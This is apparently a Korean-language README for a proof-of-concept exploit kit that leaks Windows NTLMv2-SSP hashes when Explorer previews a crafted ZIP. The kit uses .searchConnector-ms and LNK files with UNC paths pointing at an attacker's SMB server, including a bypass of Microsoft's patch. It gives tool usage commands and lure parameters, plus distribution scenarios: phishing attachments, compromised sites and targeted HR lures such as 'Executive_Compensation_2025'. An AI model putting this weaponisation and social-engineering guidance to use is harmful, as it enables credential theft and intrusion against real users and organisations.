
Windows File Explorer 제로 클릭 NTLMv2-SSP 해시 노출
위 이미지를 클릭하여 취약점 데모를 시청하세요
근본적인 보안 문제는 미리보기 작업 중 특정 파일 형식에 포함된 UNC 경로를 Windows Shell이 자동으로 처리하는 데 있습니다. 사용자가 특수하게 제작된 파일이 포함된 ZIP 아카이브를 열면 Windows 탐색기가 사용자 동의 없이 UNC 경로를 자동으로 해석하여 SMB 인증 시도를 시작하고 공격자가 제어하는 서버에 NTLMv2-SSP 해시가 노출됩니다.
파일: ntlm-disclosure-poc.py
이 초기 구현은 Windows 탐색기의 검색 위치를 정의하는 XML 기반 구성 파일인 Windows Search Connector(.searchConnector-ms) 파일을 악용합니다. ZIP 아카이브 미리보기 작업 중 Windows가 simpleLocation 요소에 포함된 UNC 경로를 자동으로 처리할 때 취약점이 트리거됩니다.
기술적 특성:
searchConnectorDescription 요소에 UNC 경로 포함파일: patch_bypass.ps1
이 향상된 기법은 LNK 파일 속성을 활용하여 Microsoft의 초기 패치에 대응합니다. 이 공격은 Windows 탐색기가 ZIP 파일 미리보기 중 아이콘 메타데이터를 가져오고 대상 경로를 해석하는 동작을 악용하면서, 신중한 속성 구성을 통해 제로 클릭 악용 벡터를 유지합니다.
기술적 특성:
TargetPath 속성에 UNC 경로가 있는 LNK 파일3.6+colorama5.1+Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser# Basic usage
python ntml-disclosure-poc.py 192.168.1.100
# With custom output file
python ntml-disclosure-poc.py 192.168.1.100 -o some_data.zip
# Example output
[+] Listener: 192.168.1.100
[*] Resource path: \\192.168.1.100\sharedir
[*] COMPLETE Package: Project_20241125_143022.zip
[*] Output: PATH\Project_20251123_175037.zip
Parameters
target (required): Target IP address or hostname
-o, --output: Custom output filename for ZIP package
# Basic usage - LNK file auto-removed
.\bypass.ps1 -IP 192.168.1.100
# Keep LNK file for external distribution
.\bypass.ps1 -IP 192.168.1.100 -KeepLnk
# Custom lure name and share
.\bypass.ps1 -IP 192.168.1.100 -Share documents -File budget.xlsx -Lure FileName" -KeepLnk
# Specify output directory
.\bypass.ps1 -IP 192.168.1.100 -OutDir "C:\Payloads" -KeepLnk
Parameters
-IP (required): Target SMB server IP address
-Share: SMB share name (default: 'share')
-File: Target filename (default: 'payload.exe')
-Lure: Social engineering filename (default: 'Your_File_For_Payload_Here')
-OutDir: Output directory (default: current directory)
-KeepLnk: Preserve LNK file after ZIP creation
graph TD
A[🔴 CVE-2025-24054<br/>Initial Vulnerability] --> B[🛡️ Microsoft Patch]
B --> C[🟠 CVE-2025-50154<br/>Bypass #1]
C --> D[🛡️ Microsoft Patch]
D --> E[🟡 CVE-2025-59214<br/>Bypass #2]
E --> F[🔴 Current State<br/>Active Exploitation]
style A fill:#ffcccc
style C fill:#ffddcc
style E fill:#ffffcc
style F fill:#ccffcc📨 시나리오 1: 직접 ZIP 배포
# Create ZIP payload
.\bypass.ps1 -IP 192.168.1.100 -Lure "Salary_Report_Q4_2025"
# Distribution vectors:
# - 📧 Email attachments with social engineering lures
# - ☁️ Compromised file sharing services
# - 🌐 Network share drops in enterprise environments
🔄 시나리오 2: LNK 파일 전송
# Create and preserve LNK file for multi-host deployment
.\bypass.ps1 -IP 192.168.1.100 -Lure "Project_Documentation" -KeepLnk
# Cross-host deployment:
copy-item "Project_Documentation.lnk" "\\remote-server\share\"
# Web-based distribution via compromised sites
🎯 시나리오 3: 표적형 사회 공학
.\bypass.ps1 -IP 192.168.1.100 -Share "HR_Documents" -File "compensation_review.xlsx" -Lure "Executive_Compensation_2025" -KeepLnk
- Group & Contact: t.me/initial_persistence
- Email: [email protected]
| 벡터 | 트리거 메커니즘 | 사용자 상호 작용 | 패치 상태 |
|---|
| 🔗 SearchConnector | XML 파싱 + UNC 해석 | ZIP 열기 | 🛡️ 패치됨 |
| 📎 LNK TargetPath | 아이콘 메타데이터 가져오기 | ZIP 열기 | 🔴 활성 |